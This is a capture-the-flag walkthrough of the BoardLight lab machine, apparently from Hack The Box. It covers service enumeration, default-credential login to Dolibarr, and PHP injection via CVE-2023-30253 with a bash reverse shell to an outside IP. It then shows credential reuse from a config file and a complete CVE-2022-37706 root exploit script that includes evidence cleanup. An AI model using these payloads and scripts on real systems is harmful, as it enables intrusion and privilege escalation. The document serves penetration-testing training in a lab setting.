MACHINE - BOARDLIGHT

OPEN PORTS

```
$ nmap -sVC -T4 -Pn $IP

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
```

INVESTIGATING THE WEBSITE

- The webserver is Apache HTTP server version 2.4.41
- The host operating system is Ubuntu
- There are two Content Delivery Networks: CDNJS and Cloudflare
- Apparently, there are no assigned cookies
- The main page is on `index.php`
- There are two forms

1. Request a Callback
2. Newsletter

- Visible, there are three pages

1. `index.php`
2. `about.php`
3. `do.php`
4. `contact.php`

- There is no `robots.txt`
- Trying to access either `.htaccess` and `.htpasswd` results in `Forbidden` error
- Directory enumeration doesn't show anything more than we already don't know
- Let's try to inspect the two forms
- Both forms do not perform any action when the Submit button is pressed
- The last thing that we can do to find an attack vector is to search additional info in the page
- In particular, at the bottom (in the footer), there is an email `info@board.htb`

- This is very useful, since it is possible that the actual domain is `board.htb`
- Previously, we have enumerated all possible sub-directories
- Now, given the domain, we could try to enumerate possible sub-domains or *virtual hosts*

```
$ gobuster vhost --domain board.htb -u http://10.10.11.11 \
    -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    --append-domain

<truncated>
Found: crm.board.htb Status: 200 [Size: 6360]
<truncated>
```

- We have found a possible sub-domain `crm.board.htb`
- In order to be able to access this virtual host, we need to change the `/etc/hosts` file

```
$ sudo echo "10.10.11.11 board.htb crm.board.htb" >> /etc/hosts
```

- Let's open `crm.board.htb` and we face a login page
- Trying default credentials `admin:admin` we successfully login as the admin
- However, it is a false admin. We do not have access to other informations in the site
- Despite this, we have access to two tabs, `Email Templates` and `Website`

OBTAINING A REVERSE SHELL

- First let's access to the `Email Templates` tab
- We can try to create an email template by filling all fields
- After created a new email template, we see that it appears dynamically on the page
- We can try to use XXS, in one of the fields, like the `subject` but it will be detected
- Since it failed, we can try to go to website page
- Here, we can create a new website
- Reloading the session, and going to the website tab we can see our newly created website
- Here we can modify the content of the HTML page, which is just a dynamically PHP rendered page
- Hence, we can inject PHP code and obtain a reverse shell.
- However, trying to inject PHP using classical `<?php ?>` do not work.
- **CVE-2023-30253** shows us that Dolibarr 17.0.0 is vulnerable to case-sensitive PHP code
- This means that, if `<?php ?>` do not work, something like `<?PhP ?>` will work.
- At this point, set up the netcat listener and inject the classical PHP reverse shell

```
<?PhP system("/bin/bash -c 'exec bash -i >& /dev/tcp/10.10.16.6/1234 0>&1'"); ?>
```

- Now, we have an active reverse shell on the remote host
- At this point we are logged in as `www-data` on path `/var/www/html/crm.board.htb`
- First of all, we discover that there is a user named `larissa`
- Hence, we might attempt to obtain its password
- We can list all processes to see if there is something useful
- However, if we list all interfaces and ports that are opened we see the MySQL service running

```
www-data@boardlight:~/html/crm.board.htb$ ss -tlp

State   Recv-Q  Send-Q     Local Address:Port       Peer Address:Port  Process
LISTEN  0       151            127.0.0.1:mysql           0.0.0.0:*
LISTEN  0       4096       127.0.0.53%lo:domain          0.0.0.0:*
LISTEN  0       128              0.0.0.0:ssh             0.0.0.0:*
LISTEN  0       70             127.0.0.1:33060           0.0.0.0:*
LISTEN  0       511                    *:http                  *:*
```

- Now, how can we access to the database? we have no user or password
- We might try `admin:admin` , or other default credentials without success.
- However, according to the Dolibarr documentations, all the conf is in the `htdocs/conf/conf.php` folder

```
www-data@boardlight:~/html/crm.board.htb$ cat htdocs/conf/conf.php
<truncated>
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
<truncated>
```

- Now, we have all the credentials to access the DB

```
www-data@boardlight:~/html/crm.board.htb$ mysql -u dolibarrowner -p
Enter Password: serverfun2$2023!!

mysql>
```

- We already know the default db name, which is `dolibarr`
- We can connect to the db using `use dolibarr;`
- Then, we need to list all tables `show tables;`
- There are several tables, but we are interested in the `llx_user` I suppose.
- The `llx_user` table has a huge number of columns, most of them are Null
- Searching for those not-null, we are interested in

1. `admin`
2. `employee`
3. `pass_crypted`
4. `lastname`
5. `iplastlogin`
6. `ippreviouslogin`

```
mysql> select admin, employee, pass_crypted, lastname, iplastlogin, \
    ippreviouslogin from llx_user;

<TOO LONG OUTPUT>
```

- What we see are two hases

1. $2y$10$VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCm -> SuperAdmin
2. $2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96 -> admin

- and two IPs

1. LAST: 10.10.14.31, PREVIOUS: 10.10.14.41 -> SuperAdmin
2. LAST: 10.10.14.14, PREVIOUS: LAST -> admin

- Now, we need to discover who is larissa.
- It seems that none of them is Larissa, moreover, 10.10.14.41 should be the root user
- However, it seems that those hashes cannot be cracked.
- Last possibility is to SSH onto larissa given the `serverfun2$2023!!` password

```
$ ssh larissa@10.10.11.11
```

- Okay, we are in. The flag is in `/home/larissa/user.txt`

```
larissa@boardlight:~$ cat user.txt
<USER-FLAG>
```

PRIVILEGE ESCALATION

- To obtain root flag we need to escalate privileges
- Larissa does not have `sudo` privileges, hence we cannot run classical `sudo -l`
- However, we can always trying to find some files with the `suid` permission set

```
$ find / -type f -perm 4000 2> /dev/null

/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/vmware-user-suid-wrapper
```

- Of our interest is `enlightenment`
- It is a Window Manager vulnerable to LPE (Local Privile Escalation) CVE-2022-37706
- We can easily find the bash code using `searchsploit`
- Here is the bash code to obtain a root shell

```bash
#!/usr/bin/bash
# Idea by MaherAzzouz
# Development by nu11secur1ty

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

# The actual problem
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
        echo "[-] Couldn't find the vulnerable SUID file..."
        echo "[*] Enlightenment should be installed on your system."
```

```
        exit 1
fi

echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Welcome to the rabbit hole :)"

${file} /bin/mount -o noexec,nosuid,utf8,nodev,\
    iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), \
    "/dev/../tmp/;/tmp/exploit" /tmp///net

read -p "Press any key to clean the evedence..."
echo -e "Please wait... "

sleep 5
rm -rf /tmp/exploit
rm -rf /tmp/net
echo -e "Done; Everything is clear ;)"
```

- Just make it executable and run it
- The flag is in `/root/root.txt`

```
larissa@boardlight:~$ ./englightenment_pe.sh
# cat /root/root.txt
<ROOT-FLAG>
```